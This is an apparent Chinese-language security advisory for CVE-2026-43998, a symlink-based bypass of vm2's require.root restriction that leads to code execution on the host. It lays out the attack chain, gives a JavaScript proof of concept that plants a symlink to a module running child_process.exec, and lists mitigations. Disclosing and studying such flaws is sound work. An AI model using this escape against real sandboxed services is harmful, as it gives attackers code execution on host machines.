IPBUF安全漏洞报告
English
CVE-2026-43998 CVSS 8.5 高危

CVE-2026-43998 vm2沙箱绕过致远程代码执行漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2026-43998
漏洞类型
远程代码执行
CVSS评分
8.5 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
vm2 (Node.js沙箱库)

相关标签

RCE沙箱绕过vm2Node.js符号链接

漏洞概述

vm2是Node.js广泛使用的开源沙箱库,用于在不安全的环境中运行代码。在3.10.5及以前版本中,NodeVM的require.root路径限制机制存在严重安全漏洞。攻击者可利用文件系统符号链接绕过路径验证逻辑,从允许的根目录之外加载任意主机模块。这导致沙箱机制完全失效,攻击者可在主机上下文中执行任意代码,造成严重的安全风险,需立即修复。

技术细节

该漏洞的核心在于`vm2`库在路径验证和模块加载这两个阶段使用了不一致的解析机制。在验证阶段,NodeVM使用Node.js的`path.resolve()`方法检查请求的模块路径是否包含在允许的`root`目录内。然而,`path.resolve()`在处理路径时不会自动解引用符号链接,因此只要符号链接本身位于根目录下,验证就会通过。但在实际的模块加载阶段,Node.js原生的`require()`函数会自动解引用符号链接。攻击者利用这一差异,在沙箱允许的目录内创建一个符号链接,指向根目录以外的敏感系统模块或恶意文件。当沙箱代码尝试require该符号链接时,`require()`会跟随链接加载外部文件,从而成功绕过沙箱限制,在宿主机上下文中执行任意代码,实现远程代码执行攻击。

攻击链分析

STEP 1
步骤1:初始化沙箱
目标应用程序使用vm2库创建NodeVM实例,并设置require.root以限制模块加载路径。
STEP 2
步骤2:执行恶意代码
攻击者诱导应用程序在沙箱内执行特制的恶意代码。
STEP 3
步骤3:创建符号链接
恶意代码在允许的root目录内创建一个符号链接,指向root目录外的敏感文件或恶意模块。
STEP 4
步骤4:绕过验证
当代码尝试require该符号链接时,vm2的path.resolve()验证通过,因为它只检查符号链接本身的路径。
STEP 5
步骤5:加载恶意模块
Node.js原生的require()函数解析符号链接并加载外部目标文件,导致沙箱逃逸和远程代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
const { NodeVM } = require('vm2'); const fs = require('fs'); const path = require('path'); // 1. Setup a restricted environment const vm = new NodeVM({ require: { root: "./trusted_folder", external: false } }); // 2. Simulate a file outside the root that we want to load fs.writeFileSync('/tmp/evil_module.js', 'module.exports = () => { console.log("RCE!"); require("child_process").exec("calc"); }'); // 3. Malicious code running inside the sandbox const maliciousCode = ` const fs = require('fs'); // Create a symlink inside the allowed root pointing to the external file // path.resolve checks the symlink path (valid), require resolves the target (invalid) fs.symlinkSync('/tmp/evil_module.js', './trusted_folder/link_to_evil.js'); // Require the symlink. vm2 validates './trusted_folder/link_to_evil.js' (OK) // Node.js require loads '/tmp/evil_module.js' (Bypass!) const evil = require('./trusted_folder/link_to_evil.js'); evil(); `; vm.run(maliciousCode);

影响范围

vm2 <= 3.10.5

防御指南

临时缓解措施
如果无法立即升级,应严格限制vm2沙箱内代码对文件系统的写入权限,防止其创建符号链接。同时,应监控沙箱的进程行为,检测异常的模块加载请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表